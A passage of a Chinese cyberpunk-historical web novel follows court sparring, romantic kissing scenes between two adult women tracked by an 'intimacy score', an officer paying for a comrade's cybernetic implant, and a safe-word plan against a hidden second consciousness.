我在家好端端补觉,突然被人拎到殿前,一通舌战群儒这都是为了谁?
好你个靖安侯,反咬我一口?你属狗?
沈逆对着那位言官道:“既然御史都这么说了,下官斗胆把您的记忆模块投出来,让陛下看看,也好为您一证清白。”
言官被沈逆这番话弄得当场噤声。
沈逆看他神情就知道了。
喜欢将清誉挂在嘴边,还满城皆知的,一般都不怎么清白。
李司被逗笑。
行吧,收回刚才的话,你不属狗,你属狐狸。
曹肃重新退到了一旁,李渃元及时阻止了这场闹剧。
“行了,朝堂之上闹什么。御史还有要参的吗?”
言官气呼呼地看着沈逆,沈逆闭上眼。再去看曹肃,曹肃没动静。
言官只能弱弱地挣扎,毫无战力地垫上一句:“还望陛下明断。”
……
出了大明宫,李司一言难尽地盯着沈逆。
沈逆:“将军是怨我没有说出实情么?现在回去如实禀告还来得及。”
李司负气丢下一句,“就你长嘴。”
沈逆见李司要走,问她:“李司将军去过北境吗?”
“怎么?”
“好奇,问问。”
生怕自己不回答,这阴晴不定的靖安侯也会侵入她的记忆模块,李司道:“没去过。”
“那弦昼呢?”
“谁要去那种鬼地方。”
沈逆礼貌微笑,“谢谢。”
既然沈逆问了她两个问题,李司也不吃亏,问她:“你这身血迹哪儿来的?”
沾血的外衣没再穿,团在手里,打算出了宫就找个地方丢了。
既然李司问了,沈逆便大发善心告诉她:“来的时候救了一位丽景门女官,她的血。”
李司现在对“丽景门”这三个字敏感得很。
“丽景门女官?谁?”
“窦璇玑。”
李司神色一变,立即追问:“她怎么了!”
沈逆已经看到侯府的马车了,“你去看看不就知道了。”
李司立即上了自己的飞艇,“轰”地一声消失。
边烬驾着侯府马车不知道在这儿等了多久。
被耽误一早上的沈逆正要大步往她的方向去,见边烬表情冷然又警惕地看着她身后。
沈逆回头,曹肃含着笑意走上前,看着飞向天际的李司,沉哑的嗓子缓缓开腔:
“爬得越高,摔下来的时候越是会粉身碎骨。你觉得呢,靖安侯?”
阴阳怪气的官腔。
边烬来接她,她满心的愉悦,完全没被曹肃打乱。
给自己囫囵消毒,沈逆两步登上马车,丢了曹肃一句:
“是啊,曹尚书年老体衰,好好站着吧,别真摔了。”
曹肃表情很快变冷。
沈逆将门一关,把曹肃那张倒胃口的脸挡在门外。
车窗贴着单向膜,车内人可以看到外面,外面往车里看就是一片漆黑。还有帘子可放。
边烬坐在窗边,正在打量曹肃。
“这曹肃在朝中门生故吏众多,被他缠上不好应付……嗯?”
边烬正说着,沈逆已经贴到身侧,她这一转身,沈逆干脆是直接落到她怀中的姿态。
消毒剂都是一股淡淡的梨花香,和家中用的皂角一个香味。
空虚了三日的心口,被这份终于归来的香味填满了。
边烬心头微荡,却压着沈逆的肩头将她往外推。
“太近了。”
才一推,亲密度又掉一。
边烬:……
沈逆趁势环住她的腰。
“再掉下去,亲密度要重新涨过了。三日不见,师姐有惦记我吗?”
两人距离太近,四目相对,呼吸相互侵占着。
边烬:“有些不习惯。”
“师姐的触觉指数上升了。”
“……”
“快到二百了。又不舒服了?”
“……”
沈逆指尖还留着消毒剂的气味,指骨蹭在边烬的软唇上。
“在期待什么?”
沈逆这句话后,指数瞬间破了两百,当事人却:说:“没有……”
“那师姐为什么摘了口罩?”
边烬答不上来。
她的确没戴口罩。
沈逆:“做吗?”
边烬眼眸一闪,“什么……”
“谈恋爱做的那些事。”
边烬的唇已经被她指骨启开,没有反抗也不言语,在沉默中默认沈逆可以戏弄她。
沈逆指骨蹭着这双想了好几日的唇半晌,在唇缝中轻擦着,活生生蹭出了一个亲密度。
边烬的触觉指数已经抵达二百四。
今日边烬的衣襟整得格外规整,一丝不苟。
可即便再规整,还是挡不住红潮的蔓延。
沈逆心动不已,用力环住边烬的腰。
师姐竟这样任她抱着。
像做梦。
边烬移开视线,“不必这么温馨。只做快速提升亲密度的事便可……”
沈逆捏住她的下巴,将她脸抬起,凶凶地吻进去。
边烬欲说什么,手和整个人都被沈逆压在车厢上。
吻弄不止。
边烬喘不上气,“太里面了……”
“嗯。”
应了边烬的话,沈逆不仅不停,反而吻得更深。
手指从她的下巴往上延伸到耳边,指腹时不时摩擦着边烬的耳骨。另一只执着边烬手腕的手松松地压着,只这么点力气就控制住了边烬。
吻得愈深,指尖往边烬右手掌心里蹭,一下下,敏感的右手很快被她蹭烫,蹭得边烬唇在控制不住地发颤。
马车自动行驶在路上,穿过闹市,往侯府的方向去。
车外行人车马的声音隐约传入车中,扰乱了边烬的思绪。
她的唇正被沈逆肆意采撷。
不该任沈逆这样待她,但她张着口,任沈逆予取予求。
不仅不做反抗,反而情不自禁模仿上回亲吻时沈逆教她的姿态,双臂不太熟练地环住沈逆的脖子。
边烬脑中嗡嗡作响,即便她知道外面看不进来,可依旧有种旁人随时会窥视到她窘态的不安。
为什么会和一手带大的师妹行情事?
这份禁忌感无限放大了亲吻的感受。
蜷起右手,轻套住沈逆蹭动的手指,指尖有点迟疑地磨着沈逆的指侧。
沈逆被她这一点点的回应惹得心头更烫,感觉两人之间的距离还太远,索性坐到边烬的右腿上。
边烬被她吻得意识涣散,这一坐两人姿态更加亲密。
沈逆有些急,身子歪了歪。
边烬怕她摔着,要去扶她。
这个姿势下,一扶便扶到了沈逆的臀侧。
边烬被那柔软的曲线烫了一下,立即要收回,却被沈逆压住。
两只白皙修长的女人手交叠在臀侧,沈逆眼里和唇上都湿漉漉的,原本就很能蛊惑人的凤眼此刻更是说不上的诱人。
“不是说好了,回来就抱我么?”
沈逆声音软软的,轻蹭边烬的唇:
“我喜欢你抱我。”
第52章
终于回到侯府,沈逆舒舒服服在自家热泉中沐浴,痛快地游了几个来回,带着满身梨花香味出浴。
穿上贴肤柔软的寝衣来到饭厅,边烬已经在这儿等着她了。
不用细瞧,满桌都是她喜欢的菜色。
沈逆谢过万姑姑。万姑姑为她倒安神酒的时候,神神秘秘在她耳边说:“今日所有菜品都是夫人精心挑选的呢,该谢夫人。”
沈逆看向坐在对面正垂眸安静喝汤的边烬。
不言不语,周身冷清。
和方才在马车里抱着她吻的师姐像两个人。
边烬感受到她目光,分过来一眼。
“吃吧。”
如同家规森严的家主,有条不紊地提调家中一切大小事。
冰清水冷的模样好似无欲无求,从不失控。
但沈逆知道,在马车中她已经失控了。
那双托着沈逆臀的手,被吻得逐渐拢紧,隔着衣料扣着沈逆的皮肉。
可惜万姑姑见马车进了侯府,停在马厩前半晌也不见人下来,过来询问,打断了她们的吻。
不然,师姐会对她做什么呢?
此刻边烬坐在一桌之外的地方,双唇铺着一层红枫色,充血还未完全消除,口中沾着沈逆入侵后的香气。明明已经被搅乱过,但很快恢复了沉静的姿态。
师姐不言不语,次序井然的样子很迷人。
很想再次将她打乱。
“嗯。”沈逆听话,说吃就吃。
一桌子全都是她喜欢的口味,师姐寡言少语,看上去铁石心肠,实则不愿宣之于口的的温柔全都藏在日常小事间。
从不张扬,却让沈逆难以抵挡。
再奢华的宴席,再宽敞的客房,都不如有师姐的一隅小天地。
有师姐在的地方,便有家的温暖。
沈逆正安静吃饭,边烬也在喝汤,两人隔着一张桌子的宽度,没有肢体接触也没有言语,甚至眼神都没对上,忽然亲密度+二。
同时发现了,惊讶对视。
两人方才在马车内亲了半天才+三,现在突然又+二,升至三十五了。
边烬缓缓咽下汤才开口,“所以,亲密度不止是肢体接触才会加分。”
沈逆点点头,“如同大姨所说,内心的靠近也是很重要的。你疼我,亲密度增加得格外快。”
边烬不知在想什么,半天才轻轻“嗯”了一声。
沈逆觉得不太对,严肃地补充道:“但也不是说肢体接触就不重要,要双管齐下。”
边烬:……
瞟她一眼。
上崇文馆办讲座的时候都没说这事儿认真.
长安城南。
李司以前来过一次丽景门。
上回来是因为金吾卫和丽景门的纠纷。
丽景门女官在执行任务时,打伤了同样来抓捕疑犯的金吾卫士兵。
那士兵年纪轻轻家境一般,在队内时常被欺负,李司管过几次,还为此整顿军纪。
小士兵特别乐观,即便被欺负也从不跟别人抱怨,危险的任务总是冲在最前线。
那次的任务只要抓到疑犯就好,最好留活口,剩下的交给大理寺来审。
但丽景门的人赶尽杀绝,还连累了金吾卫小士兵。
李司那回来丽景门理论,闹出了好大的动静,双方差点动手,最后被右骁卫给劝了回去。
没有真打起来,梁子还是结下了。
从那以后李司看丽景门的人总不顺眼,遇上了就想方设法找点茬,以解心头之恨。
当初跟窦璇玑的龃龉便是事出此因。
上回来的时候是带着一腔的愤恨,完全没有仔细观察丽景门的环境。
这次来,飞艇还未降落就看见了不远处巨大的烟囱。
那是整个长安城唯一的工业区。巨大的烟囱放着在这有害人体的废气,日夜不停。
以前这附近有个坊,住的都是底层贫民,后来连贫民都受不了这毒气,纷纷搬走了。
这个工厂是最大的义体制造商的加工厂,是唐Pro科技爆炸的那年修建的,流着皇室的血,大东家姓“李”,关系着国运。
李渃元的祖宗亲自交待,国之命脉不可轻举妄动。所以后来无数言官旁敲侧击参了又参,这个大烟囱依旧没有搬出长安城,反而成了讽刺的地标。
烟囱周围都搬空了,没想到丽景门安插在此,女官们住在曾经贫民居住的破旧街巷中。
李司挺服气的。
丽景门这群傻子,不仅卖命,还当人体过滤器呢?
长史收到消息,拎着李司专用的工程箱赶过来。
长史看了眼丽景门的招牌,“将军,您这是要……”
李司:“救个人。你先回去。”
一进院子,满眼荒凉,哪有半点直隶于天子的派头?
走廊那侧,两名女官正抬着浑身是血的同僚,匆忙往后院去。
李司注意看那伤者,不是窦璇玑。
松了口气。
也是,时间不对,这会儿窦璇玑应该已经在后面歇着了。
李司毫不客气地进门,院内几名丽景门女官纷纷警惕过来。
“金吾将军,有事吗?”
说话的女官满脸的弹孔,上回李司来寻晦气的时候她也在。
李司:“我来看看窦璇玑。”
弹孔女官也知道李司和窦璇玑在东市拔刀相向,险些打起来,再加上丽景门和金吾卫积怨已久,自然不可能放她进去。
“璇玑受伤,不宜见客。请回。”
李司毫不客气道:“就是因为受伤了才来探望,不然呢?”
弹孔女官还待说什么,房判听到动静出来了,看到李司,想起上回李司抱过窦璇玑,问她:“你来做什么?”
“我是机械师,也是医师,若是她受了重伤,我可以救她一命。”
房判和弹孔女官低语了几声,权衡之后对李司说:“她在里面。”
从发霉的走廊穿过,这里以前应该是家小商铺,还有些早就坏了的招牌和已经褪色的涂鸦。
来到一处破旧的小厢房门口,站在门前一眼看完。
里面巴掌大,还没有李司将军府的茅厕宽敞。
统共就一面窗户,又窄又小还开在高处,说不出的逼仄憋闷。
房判:“还昏迷着,没醒。”
李司:“怎么能让伤者住在这种地方?”
房判顿了顿,说:“这是璇玑的寝屋。”
李司:……
房判:“本来没有她的许可,外人是不能进去的。靖安侯为她治疗时,说她玉璧报废度已经超过80%,若不更换玉璧有性命之忧。李司将军,你能救璇玑吗?”
“报废度超过80%了?那是得立刻换掉。就这巡查强度,守一轮的夜铁定猝死。你们丽景门有这方面的预算吗?”
“哪方面?”
李司嫌弃这房判呆头呆脑问得多余。
“换玉璧的预算啊。随便换个A级玉璧得五万两银子往上了吧,她是不是A极战斗天赋?”
天赋等级其实算隐私,平时没人会放在嘴上和陌生人闲叙。此刻也不好隐瞒。
房判点了点头。
李司声音还挺大,“这钱不可能当差的自己出。你们丽景门不给奏销吗?”
房判望了一眼外面,此刻这个小院子里就她们俩。
“没有玉璧相关的奏销。”
“不是,那你们一个月的俸禄有多少?”
“二十两。”
“二……”
李司震惊了。
“就这么点钱,和普通小吏有什么区别?你们干的还是随时要掉脑袋的活。”
房判没多言语。
“所以你们到底为什么要给瞎子卖命?”
房判微不可闻地叹气,平声道:“将军慎言。”
李司:“那你知道她存了多少私房钱吗?”
“这……我不知道啊。”
李司无言以对。
绝,挺绝。
算了,先进去看看窦璇玑的情况。
走进窦璇玑的寝屋,屋很小很破旧,但被收拾得利利落落的。
这么小的空间因为私人物品少之又少,竟显出一丝空荡的意味。
李司没四下张望窦璇玑的私人物品,毕竟她不是被邀请来的。
检查完之后稍微松了口气。
房判:“怎么样?”
“沈逆给她做的手术吧?很成功,不,可以说,手法非常精妙。靠。”
“那你怎么骂人?”
“没见过人嫉妒时什么样啊?”
“……哦。”
“手术精妙归精妙,小狗的玉璧状态不行,必须得换。换完之后就没事了。”
小狗……
房判心想,幸好璇玑昏迷着,没听到,不然你们东市没打完的那场架现在当场又得打起来。
换玉璧啊。
房判有点犯难,整个丽景门都很穷,五万两银子对她们而言就是天文数字。
但璇玑不换玉璧的话,恐怕活不了多久。
房判问李司:“将军可有熟悉的当铺,可以典当义体。”
“你们丽景门有多少义体可质?”
“不是,就我自己的义体。”
有些意外,李司把她从上到下囫囵看了一遍,笑了。
“不是我打击你,B级战斗天赋,你这浑身上下加在一起可能都质不出一千两。”
房判:……
战斗天赋一般都不轻易透露给外人,不过机械师对此格外敏感,很容易猜对属性和等级。
李司想了想,说:“行吧,我来想办法。”
这些年李司省吃俭用存了点银子,一心想给自己玉璧升升级。
她有两项天赋,都不高,如果能换个量身打造的玉璧,她的整体能力会有一个质的飞跃。
存了有七八年,一直没舍得用,刚存得差不多了。
现在么,还是先救人要紧吧。
李司立即联系她的几位机械师朋友,连夜为窦璇玑赶制专属玉璧,同时把所有账户里的碎银全部集中到一起。
房判看她在到处筹钱,提醒道:“李司将军,这可不是一笔小钱。”
李司头也不抬,“嗯,我全部身家。”
房判:“那这……”
李司对房判说:“回头小狗问,你就说玉璧是你给她换的。”
房判:“我愿意说也得有人愿意信啊。我比她还穷。而且我不想抢占你的功劳。”
“哦。”李司继续低头忙活,“那你就跟她实话实说,让她以身相许。”
房判:…….
这顿饭吃得无比顺口,酒足饭饱,沈逆又去洗漱熏身,染着最喜欢的梨花香回到寝屋。
她离开的这几日,边烬也只睡她自己那侧。
有种沈逆一直都在的氛围。
此时被褥已经铺好,沈逆躺进舒服的被窝,舒展四肢。
“累吗?”
边烬坐在镜奁前拭干头发。
沈逆在边烬面前就是很喜欢撒娇,干脆地说:“累。师姐能帮我按按吗?”
边烬一时沉默。
沈逆其实就是随口说说,没指望边烬真的能给她按。
没想到……
“我先拭干头发。”
沈逆一怔。
随便撒娇,居然撒成了。
捏着被子边缘挡着下半脸偷看边烬。
被无条件宠爱,心里砰砰直跳。
青丝垂落,半遮半掩。浓密的睫毛,秀挺的鼻子,还有微翘的唇,如同破水而出的山峦。
师姐擦头发的模样怎么也这么好看?
开心之时又忍不住想。
师姐是真的心疼她,还是为了亲密度的加分?
沈逆立即将胡思乱想从脑子里挤出去。
不管师姐是为了什么,这一刻就是在疼爱她,享受便是。
边烬拭干了头发,随意绾了个非常松散的发髻垂落背部。
戴了双层手套隔绝敏感,过来帮她按按肩头。
指尖揉动,舒筋活络。沈逆本来觉得自己只是有些浅浅的疲惫而已,被边烬这么一按,酸胀感让她险些哼出声。
“今日早朝李渃元有让你为难吗?”
沈逆被边烬按得浑身发软,边烬偏偏要问她早朝之事。
仿佛正在课堂上偷写情书,老师突然点名,要她站起来写一篇策论。
师姐你好狠的心。
但师姐想知道,也只好打起精神,一五一十说了。
边烬说:“你高调将李司叫到殿上,让她挡下弹劾是一,还有一层意思,便是想知道李司到底是真的想要查锐锋营一案,还是打着这个幌子,实则是李渃元派来的又一次探查。”
沈逆没说的那点小心思,边烬一听就知道。
被边烬了如指掌的感觉,让沈逆心里酥酥麻麻的。
等了半天,亲密度居然毫无反应。
哼……
算了。
沈逆道:“不过今日看来,李司行为是出于自己的意愿,并不是李渃元授意。”
“那血衣是怎么回事?”
沈逆跟她说了窦璇玑的事儿,顺便道:“丽景门那个门主可真不把自己的门徒当人看。窦璇玑自东市与异兽搏斗身受重伤,至今居然没有让她好好治疗,只是用营养剂续命,根本不管她死活。”
提及丽景门门主韩复,边烬说:“她这些年路子越走越偏,以身练毒,这条邪路已经无法回头了。”
听边烬话里的意思,好像与这韩复有些旧事。
“你认识她?”
“嗯,我以前有跟你说过,在被师尊带回双极楼前,我是死城的孤儿。当时韩复也在死城流浪。我与她年龄相近,一同为雇主干过活。”
死城,听着名字也知道不是一个吉利的地方。
它是唐Pro帝国最大的垃圾场。
所有无主的垃圾都可以肆意倾倒在那座城市里,只需要交非常少量的银钱。
报废的义体,无用的废料,没人认领的尸体,以及被遗弃的婴儿。
那里没有律法,没有人情,只有日夜不停的暴力和犯罪。
能活下去只看谁的手段高明,拳头更硬。
死城的居民朝不保夕,恶徒相互掠夺,有点良心的便靠给城外人干活,赚点裹腹的物资和银钱。
边烬开蒙以来就生活在死城。
她曾经说过,遇到师尊之前,她完全是另一个人。
是双极楼重塑了她。
沈逆之前觉得边烬对师尊的感情深。
如今,又来一个韩复。
沈逆侧过脸问边烬:“所以你和那个韩门主算是青梅竹马?”
沈逆漂亮的眼睛里带着一星点难过,灼了边烬一下。
边烬语气波澜不惊,“不。我和你才是。”
话一出口,沈逆眼睛蓦地发亮。
边烬揉摁的动作略略一顿。
“我是说……”
沈逆握住她的胳膊,将她拉到自己身边躺着,缠上来吻她。
边烬没想到她会突然有接吻的兴致,原本还睁着眼,唇齿被撬开时,舒服的感觉加促呼吸,双眼慢慢地闭合。
吻过两次,沈逆愈发熟练,即便边烬没说过半个字,她也知道边烬喜欢她往深里吻。
一边吻,手指一边悄悄钻进边烬的手套口里,往内探索。
边烬感受到她的小动作,肌肤直接相贴的触觉让她后脊发麻,口舌还被占着,含糊地唤了“沈逆”的名字后,便说不出话。
不仅吻得深,也探得深,四指已经撑开了手套,贴在边烬右手的手背上,和她一块儿撑满了手套内部的空间。
边烬似要推拒,已经不成章法。
不会接吻的人被吻得浑浑噩噩,后脑抵在床沿,敏感的右手还被缠着。
触觉指数扶摇直上,亲密度也在吻咂中安静地攀升到了三十六。
第53章
整只手套被沈逆脱了。
雪白是右手的底色,每截指骨都透出粉意。
像冰雪初融,雪下藏花。
这只手太美,沈逆本能去吻。
边烬的指背感觉到热意,睁开眼睛,低低地阻止了一声。
沈逆见她眼睛里带着朦胧的水汽,开口时的声音,已经被她吻得和平日里冷玉般的调调很不同了。
依旧很克制,但尾调软得要命,很好听。
沈逆:“好,不亲了。”
边烬还在疑惑沈逆今晚怎么这么听话,下一刻,无名指的指骨就被她咬了一口。
“呃。”
突然的咬合感,让边烬哼了一声她自己都陌生的声音。
触觉指数立即破了三百。
指尖在发颤。
右手真的很敏感。
沈逆心里大胆地想着,要是她用右手的话,不知道谁会比较舒服。
思绪已经发散到了九霄云外的快活,忽然下巴被捏住。
沈逆:!
嘴动不了了。
边烬脸庞还红得不像话,可该捏人还捏人。
边烬有些恼意,“说了不亲的,不许骗我。”
的确不是亲,是咬嘛。
可沈逆下巴被边烬捏着,不敢造次,只能发出含糊的声音。
“吼嘟……”
好的。
边烬将她脸撇到一旁,拢了寝衣下床。
沈逆追问:“师姐去哪里?”
熟悉的一记冷眼。
“净房。”
“……哦。”
今天好像做得有点过火,师姐生气了。
可是面对师姐,越是被她拒绝,就越忍不住想亲近。
咔——
门被合上,师姐不在身侧,刚才还生龙活虎的人立即被倦意卷倒。
亲密度走到了三十七。
怎么回事,亲了这么久又好心动,只涨了两个上来。
涨得慢了。
这意思仿佛是第一次接触最为亲密,最开始的心动最为致命,往后就要打折扣。
道理都懂,不过沈逆不是很服这个连理模块的计分方式,恨不能直接找来民政司做连理模块的机械师好好聊聊。
翻了个身,抱住被子。
沈逆闭上眼,微微一叹息。
这世上唯有师姐才能让她这么着迷顺从。
她果然还是喜欢师姐。
……
边烬换了里衣,从净房回来,累了三日的沈逆已经在不知不觉中睡着了。
坐到床边,安静地看着沈逆的睡颜,忽然,沈逆握住了她的手。
以为她醒了,实则还在梦里。
即便在梦境内都察觉到了边烬的靠近,本能地握住她。
边烬没挣脱,就让她握着。
这双手不知道握过多少人,这双唇又不知给过多少人温柔。
若是开通了连理模块,她是不是也能去沈逆的梦中一探?
在沈逆梦中的自己会是什么样的。
严厉的还是绝情的,亦或者……
又能占据沈逆梦境的几分。
边烬反握住沈逆的手,自虐般,让丝丝点点的快意往自己的肌肤上侵占。
……
窦璇玑醒来时,说不出的怪。
有人趁她昏迷,帮她把寝屋的墙面重新粉刷过?
应该不是,毕竟那么多裂口都还在。
可是为什么感觉很不一样?
手摸上去,细腻的触觉能够感知到墙上细小的凹凸和裂纹。
她明白有什么不同了。
嗡——
耳后有一只蚊子,没回头,窦璇玑随意抬手双指一夹,路过的蚊子忽然掉在地上,而窦璇玑的指尖夹着蚊子的翅膀。
翅膀被夹断,蚊子却没死。
身体之中流荡着一股前所未有的力量,更难得的是,她居然能自如地控制这股力量。
无论是力量的控制还是对动态的捕捉,有了质的飞跃。
整个世界在她眼前呈现出一种极致的高清状态,以往肉眼不可见的痕迹,此刻全部收入眼底。
这感觉,难道是……
咚咚——
有人敲门。
“进来。”
房判端着刚刚做好的饭菜进来,“你醒了,快吃点垫垫肚子。”
“有人帮我换了玉璧?”
窦璇玑单刀直入问房判。
房判将食物放到案子上,幸好她戴着帷帽,也只剩下半张脸,不然这个时候窦璇玑一定会看到她心虚的表情。
房判:“是。”
“谁换的?”
房判坐到小马扎上,双手在膝盖上擦了一下,说:“我。”
窦璇玑:?
窦璇玑:“把我当傻子?你手里有几个铜板我不知道?每个月一放俸禄就出去胡吃海塞,到月底还得向我借钱的人是谁?”
房判:……
虽然猜到了窦璇玑不会相信自己的话,可是也没必要这么快就拆穿她吧?
“换玉璧这事儿不小,到底是谁?”
不怪窦璇玑在意,毕竟玉璧价格极其昂贵,等级越高的越贵。有些人倾尽一生都只能攒到一枚玉璧的钱。
对普通人而言,房子和玉璧之间只能选择一个,而且要花一辈子的时间分期还款。
窦璇玑的玉璧是入丽景门编制时,由内廷的机械师打造的。
很普通,内廷的机械师才不管潜不潜力,有多少等级就配同等级的玉璧,也不会将个人特点考虑在内。
可以说,丽景门女官用的玉璧都是行货。
丽景门的死士对天子而言不是沈逆那种难得的精英,不可替代的宠臣。
她们大多数都是战斗天赋,C级到A级都有。她们存在的目的就是替天子办事。如李司所言,不过是天子的走狗。
是随时准备赴死的武器,是用坏就丢的消耗品,不用用心维护,维护反而要花费更多精力和银子。反正这个时代底层贱民无数,十两银子就能买个孩子,更不缺孤儿。
所以入了丽景门,能免费装备一次玉璧,对于她们来说已经是恩赐。
窦璇玑做好了这一辈子都只用这一块玉璧的打算。
配玉璧的时候也说了,只此一块,若是报废了想要更换,得她们自己掏银子去换。
在窦璇玑的逼问下,房判压力很大。
房判:“我,这个,不能说。”
“为什么?”
“因为我说了,你就要以身相许。”
无数个问号从窦璇玑脑海里飞过。
思索片刻,想到某种可能,窦璇玑面上微红。
“是,门主吗?”
房判沉默了。
下一息窦璇玑就清醒过来,自嘲地笑:
“怎么可能是门主,痴心妄想。”
房判:“嗯……”
窦璇玑想起昏迷前,自己正在车站接沈逆去大明宫。
窦璇玑拽住房判的手腕,低声道:“如果是沈逆你一定得跟我说。丽景门与她之间不可以有这种关系,门主也不会愿意沈逆插手门中事务。”
房判老老实实回答,“不是。沈逆的确帮你动了手术,保住性命,但给你换玉璧的人不是她。”
听完她的话,窦璇玑不知道自己该不该松口气。
“完了,那还是欠了她一个大人情。这个人情必须得还,不然的话门主肯定会不高兴的。”
房判都不敢说自己求沈逆救窦璇玑的时候,已经许诺沈逆,以后这条命为她所用。
窦璇玑眉头紧拧:“不是门主也不是沈逆,还能有谁……”
还能有谁,还能有谁?
房判正在玩自己的手指头,窦璇玑忽然看向她,凶神恶煞:“神经,我干嘛要以身相许?我还银子不就好了?”
房判:“也是……为什么要以身相许?”
窦璇玑捶了她一拳,“是谁!赶紧说!”
房判连连摇头,“不行不行不能说。”
窦璇玑差点骂脏话。
她这搭档的个性可真是够人喝一壶了。
该轴的时候不轴,不该轴的时候瞎轴。
而且这烦烦的感觉似曾相识,怎么回事?.
晨间,沈逆醒来时发现边烬坐在床边,不知道在看什么。
沈逆眼睛还睁不太开,翻了个身贴近边烬,趴着撑起上半身。
“怎么了?”
“你看这双鞋。”
沈逆揉揉酸涩的眼睛,努力睁开。
是边烬的鞋,沈逆挑的,很软很舒服,非常适合在室内穿。
“鞋怎么了?”
“左边这只往外侧歪了一点。”
“是,歪了一点点。”沈逆很快就知道边烬的意思,“你不会这么乱放鞋的。”
洁癖之外,边烬还有强迫症。
寝屋一切都要收拾得井然有序,鞋要合并摆正,衣襟要对齐,就连以前用的骨鞭都是整好的一百节骨头制成。
她一不喜污秽二不喜凌乱,上床前一定会把鞋摆正的。
这双鞋肆意摆放,匆匆忙忙,不是她的风格。
“我记得我昨晚放好了鞋。”
两人安静对视,随后无声下床,在屋内寻了一圈,沈逆又调取了宅中日志。
上回发现可疑入侵物却没有找到痕迹后,沈逆忙得脚不沾地,还硬是抽了空给内宅加装了监控。
没有发现任何异常。
沈逆:“没有别人进来的痕迹。”
边烬:“那就是另一个意识又出现了。”
“趁着你入睡出现,啧,真损……师姐,咱们寝屋里也要装个监控看看吗?”
边烬不是很喜欢这么私密的地方也被监控着。
“不适合,万一监控被黑,得不偿失。”
沈逆心道,我装的监控没人黑的进来。
不过,凡事有个万一,的确不太方便。
边烬问沈逆:“你昨晚有察觉到什么异常吗?”
沈逆摇摇头,“没有啊,一觉睡到天亮。”
边烬走到窗边,窗户也没有被打开的痕迹。
沈逆道:“不用查看了,如果窗户开启宅内日志会显示。”
边烬不是很理解,“那,那个意识因何出现?又做了什么。”
饶是沈逆也一时想不出个所以然。
边烬说:“我搬去别的屋睡。”
沈逆知道边烬在担心什么。
“不用。若昨晚那个意识真的出现了,无论所为何事都没有伤害我,不是吗?师姐,我不怕。”
边烬双臂抱在身前,“入睡时,枕边人突然变成了未知的陌生人,怎会不怕?”
沈逆单手撑在窗沿上,对边烬甜甜地笑。
边烬被她灿然的笑容晃了一下,沉沉的心情没那么紧绷了。
“还笑。”
沈逆:“别紧张,如果那个意识突然出现,我正好问问想干嘛。”
沈逆还有种感觉没说出口。
上次在档案馆时,她和那个意识打过了照面。
是被对方弄伤了没错,但那是警备之下的自我保护。若真说起来,对方没有要伤害沈逆的打算。不然以边烬身体的力量,一把就能将毫不设防的沈逆掐到窒息。
李司的档案加密,是为了让沈逆参与到“关注李司”这件事上来。
是那个意识想与她沟通。
昨夜也是。
她睡得那么沉,要是那个意识要害她,就没有今早的对话了。
沈逆有种猜测,更有份自信,那个意识对她没有恶意。
边烬提议:“你在我这侧的床下拉一条不易察觉的线,触碰就会报警。晚上我自己起夜的话记得有线,不会碰到。但那个意识可不知道,一响你就会醒。还有,咱们设定一个安全词。”
“安全词?”
“嗯,一个只有你我知道的安全词。既然我并不知道对方出现做了什么,那么说明我与另外一个意识并不互通。设定一个安全词就能分辨我的状态。无论任何时候,你若是怀疑就让我说安全词。要是答不上来,你就知晓,那不是我。”
第54章
沈逆又问:“那如果,此刻那个意识就能听到咱们俩的对话呢?安全词就不奏效了。”
边烬道:“那只能靠你自己来判断了。”
沈逆很有信心,是不是师姐本人,她一眼就能区分出来。
“放心,我的感觉比安全词更安全。”
边烬定下了安全词。
那个三个字的安全词,让沈逆浮想联翩。
为什么是那三个字,它对边烬而言很重要,很难忘吗?
不想瞎想,但脑子空下来的时候思绪又不由自主往那安全词上贴。
思索着师姐现在对她这么纵容,到底是将她当成一同做戏的假妻子“沈逆”,帮她修复身体的“机械师”,还是护在掌心里疼的“小师妹”。
想多了也觉得自己患得患失很没必要。
为什么要三选一?
就不能都是吗?
思绪乱七八糟一转,飞艇着陆的时候直接歪进了水沟里。要不是沈逆回神快赶紧一脚撑住,说不定就要在众目睽睽之下摔进水沟,丢个大脸。
安全词想多了,变得极其不安全。
三日的拘役是逃不了的,晚痛不如早痛。
也别等李司催了,不想见到那人,沈逆主动申请拘役。
所谓拘役不是在牢里关三天,而是去少府监干三天的活。
将幸免于难的飞艇随便摆到泊车位,沈逆走进少府监。
少府监掌管百工技巧,就是给天子和皇室提供各种玉器、服饰、车乘等物。当然更重要的皇家专属义体和武器也归少府监所管。
少府监下统多司,活儿繁琐又零碎,平时最是缺人手,长安城内犯事儿的拘役者但凡有手的,都被发配到少府监做些粗活。
沈逆特意穿了一身旧衣服过来,还自备了手套。
做好了干活的准备,没想到这才一进少府监就被认出来了。
属员往内堂喊了一嗓子,说“靖安侯来了”,掌管少府监的林少府速速放下手头事,杀将出来。
“靖安侯大驾光临,久仰久仰。来,靖安侯里面坐。”
林少府一脸真诚的笑容相应,抓来属员吩咐道:
“给靖安侯看茶。”
沈逆望着不远处正在裁布的女犯说:“不用了,我去干活。”
早干完早回家。
她现在格外恋家。
林少府“哎”了一声,尾调夸张,一副“你不把我当自己人看”的假嫌弃,真奉承。
“靖安侯怎么能干这种粗活?”
沈逆没想到林少府人假假的,心挺善。
沈逆行了个手礼,留下“多谢”二字就要离开。
林少府赶紧把她请回来。
“不是不是,靖安侯,这,三日的拘役您人还是得在这儿。”
沈逆:“要不然你有话直说吧。”
沈逆被拉到堂中坐着,茶水蔬果摆了满眼。
林少府:“平日靖安侯太忙,想见您一面实属不易啊。感谢靖安侯给我们少府监这个机会。”
沈逆心道,这个机会是李司给的,你要谢去谢她吧。
不过听林少府这意思,是有事等着她入瓮呢。
的确如沈逆所想,身为双S级机械师,粗活是不会给她干的,平日想找她问个问题都得排队,如今正好抓了个现成,说天子御用的新一代飞天仪仗有点技术性的问题困扰少府监很久,希望靖安侯指点一二。
沈逆礼貌微笑。
这林少府算盘珠子也是肆无忌惮往人脸上飞啊。
反正都得干活,天子御用的飞天仪仗什么样,她还没见过,正好去掌掌眼。
往仪仗坊去的路上,穿过少府监对内廷官员售卖的武器铺子。
有人大老远叫她:“哎——逆逆!”
沈逆脚步一顿。
这甜腻腻浪唧唧的呼唤,除了那位,找不到别人了。
沈逆转眸一看,果然是第五阙。
第五阙正在武器铺前挑选武器,看到沈逆立刻张开双臂,热情地向她拥过来。
才刚刚完全踏出半步,忽然感受到身后散发的冷气。
